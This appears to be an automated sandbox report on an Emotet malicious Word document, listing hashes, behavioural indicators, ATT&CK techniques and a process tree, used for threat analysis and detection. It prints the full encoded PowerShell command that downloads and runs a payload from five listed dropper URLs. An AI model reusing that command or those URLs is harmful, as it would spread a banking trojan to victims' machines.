emotet | 00553fae8fba9e5b1aecd90397d4626d00a03d5ce85d4b9d29d0193639af5081

General

Target
emotet_e2_00553fae8fba9e5b1aecd90397d4626d00a03d5ce85d4b9d29d0193639af5081_2020-08-11__152341._doc.doc
Size 225KB
Sample200811-1bez9rcb7a
SHA256 00553fae8fba9e5b1aecd90397d4626d00a03d5ce85d4b9d29d0193639af5081
MD5 9d866680aafacc376194009968974d97
SHA1 768e84cb1b38f77383b8b35afdc6413fb0f0cebe
SHA512 e99abb1cbe15419344aefcb95600a4a6a0a245c0f33a04c4a1addb736fa4ff1e0fa0259c3efd74e782946cb0c103e0725e229900992bdb0268d4643709bfcfcf
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://dandorahiphopcity.com/cgi-bin/zblw9_5hsm_1ex2pyy/
exe.dropper
http://coparmexpuebla.org/documentos/k_n_iv8ku/
exe.dropper
http://cryptokuota.com/assets/b_z2_cyikfkk/
exe.dropper
http://culturizate.es/cache/4_zhy52_gpw/
exe.dropper
http://ezerangyal.hu/cgi-bin/y_0_n4/

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1532	480	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/572-16-0x00000000005B0000-0x00000000005BC000-memory.dmp	emotet
behavioral2/memory/572-16-0x00000000005B0000-0x00000000005BC000-memory.dmp	emotet
behavioral2/memory/1068-20-0x0000000000780000-0x000000000078C000-memory.dmp	emotet
behavioral2/memory/1068-20-0x0000000000780000-0x000000000078C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
23	1532	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
572	768.exe
1068	keyiso.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wlidnsp\keyiso.exe	768.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
532	WINWORD.EXE
532	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1532	powersheLL.exe
1532	powersheLL.exe
1532	powersheLL.exe
1068	keyiso.exe
1068	keyiso.exe
1068	keyiso.exe
1068	keyiso.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1532	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
572	768.exe
572	768.exe
1068	keyiso.exe
1068	keyiso.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 572 wrote to memory of 1068	572	768.exe	78
PID 572 wrote to memory of 1068	572	768.exe	78
PID 572 wrote to memory of 1068	572	768.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_00553fae8fba9e5b1aecd90397d4626d00a03d5ce85d4b9d29d0193639af5081_2020-08-11__152341._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:532

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABQAEYAVgBYAEkAawBsAHcAPQAnAFQATgBaAFUAWABmAG4AbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAFUAUgBJAHQAeQBQAHIAbwBgAFQATwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEgAWgBCAEUARABxAHQAbQAgAD0AIAAnADcANgA4ACcAOwAkAFgASgBHAEEATQBqAGgAdQA9ACcAVABQAEgATwBZAGUAawBkACcAOwAkAEsASQBNAEYAUwBwAHYAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASABaAEIARQBEAHEAdABtACsAJwAuAGUAeABlACcAOwAkAE0AWgBDAFQAVgBpAGMAbwA9ACcATQBCAFYAUgBRAHcAegBwACcAOwAkAFYATABEAFgAUABkAHgAYwA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAEwASQBlAE4AdAA7ACQAQwBCAFYAVwBOAHIAbwB1AD0AJwBoAHQAdABwAHMAOgAvAC8AZABhAG4AZABvAHIAYQBoAGkAcABoAG8AcABjAGkAdAB5AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AegBiAGwAdwA5AF8ANQBoAHMAbQBfADEAZQB4ADIAcAB5AHkALwAqAGgAdAB0AHAAOgAvAC8AYwBvAHAAYQByAG0AZQB4AHAAdQBlAGIAbABhAC4AbwByAGcALwBkAG8AYwB1AG0AZQBuAHQAbwBzAC8AawBfAG4AXwBpAHYAOABrAHUALwAqAGgAdAB0AHAAOgAvAC8AYwByAHkAcAB0AG8AawB1AG8AdABhAC4AYwBvAG0ALwBhAHMAcwBlAHQAcwAvAGIAXwB6ADIAXwBjAHkAaQBrAGYAawBrAC8AKgBoAHQAdABwADoALwAvAGMAdQBsAHQAdQByAGkAegBhAHQAZQAuAGUAcwAvAGMAYQBjAGgAZQAvADQAXwB6AGgAeQA1ADIAXwBnAHAAdwAvACoAaAB0AHQAcAA6AC8ALwBlAHoAZQByAGEAbgBnAHkAYQBsAC4AaAB1AC8AYwBnAGkALQBiAGkAbgAvAHkAXwAwAF8AbgA0AC8AJwAuACIAcwBwAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAEUASgBPAEIAcABwAGQAPQAnAE0AWgBCAFEATgBjAHQAegAnADsAZgBvAHIAZQBhAGMAaAAoACQAWABTAFgASABMAGoAegBqACAAaQBuACAAJABDAEIAVgBXAE4AcgBvAHUAKQB7AHQAcgB5AHsAJABWAEwARABYAFAAZAB4AGMALgAiAGQAYABvAGAAVwBOAGwATwBhAEQARgBpAGAATABlACIAKAAkAFgAUwBYAEgATABqAHoAagAsACAAJABLAEkATQBGAFMAcAB2AGIAKQA7ACQAUQBFAE4AWABZAHgAYQB1AD0AJwBBAEIAWQBMAE8AaQBpAGMAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABLAEkATQBGAFMAcAB2AGIAKQAuACIATABFAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADkAMwAwADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBFAGAAQQBUAGUAIgAoACQASwBJAE0ARgBTAHAAdgBiACkAOwAkAFkAWABOAEQAUgByAHEAbwA9ACcAVwBPAFQAWABRAGIAagBsACcAOwBiAHIAZQBhAGsAOwAkAEsARwBMAE4ASAB2AG8AYgA9ACcAQgBLAFMASABLAGQAaABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAQQBXAEcASQBpAHQAeAA9ACcASABEAEgASgBGAHgAYQBzACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532

C:\Users\Admin\768.exe
C:\Users\Admin\768.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:572
- C:\Windows\SysWOW64\wlidnsp\keyiso.exe
  "C:\Windows\SysWOW64\wlidnsp\keyiso.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/532-0-0x00007FFF56F00000-0x00007FFF575C6000-memory.dmp

Download

memory/572-15-0x00000000007DC000-0x00000000007DE000-memory.dmp

Download

memory/572-16-0x00000000005B0000-0x00000000005BC000-memory.dmp

Download

memory/1068-19-0x000000000046B000-0x000000000046D000-memory.dmp

Download

memory/1068-20-0x0000000000780000-0x000000000078C000-memory.dmp

Download

memory/1532-10-0x00007FFF4B1B0000-0x00007FFF4BB9C000-memory.dmp

Download

memory/1532-11-0x00000272DE0B0000-0x00000272DE0B1000-memory.dmp

Download

memory/1532-12-0x00000272DE3C0000-0x00000272DE3C1000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads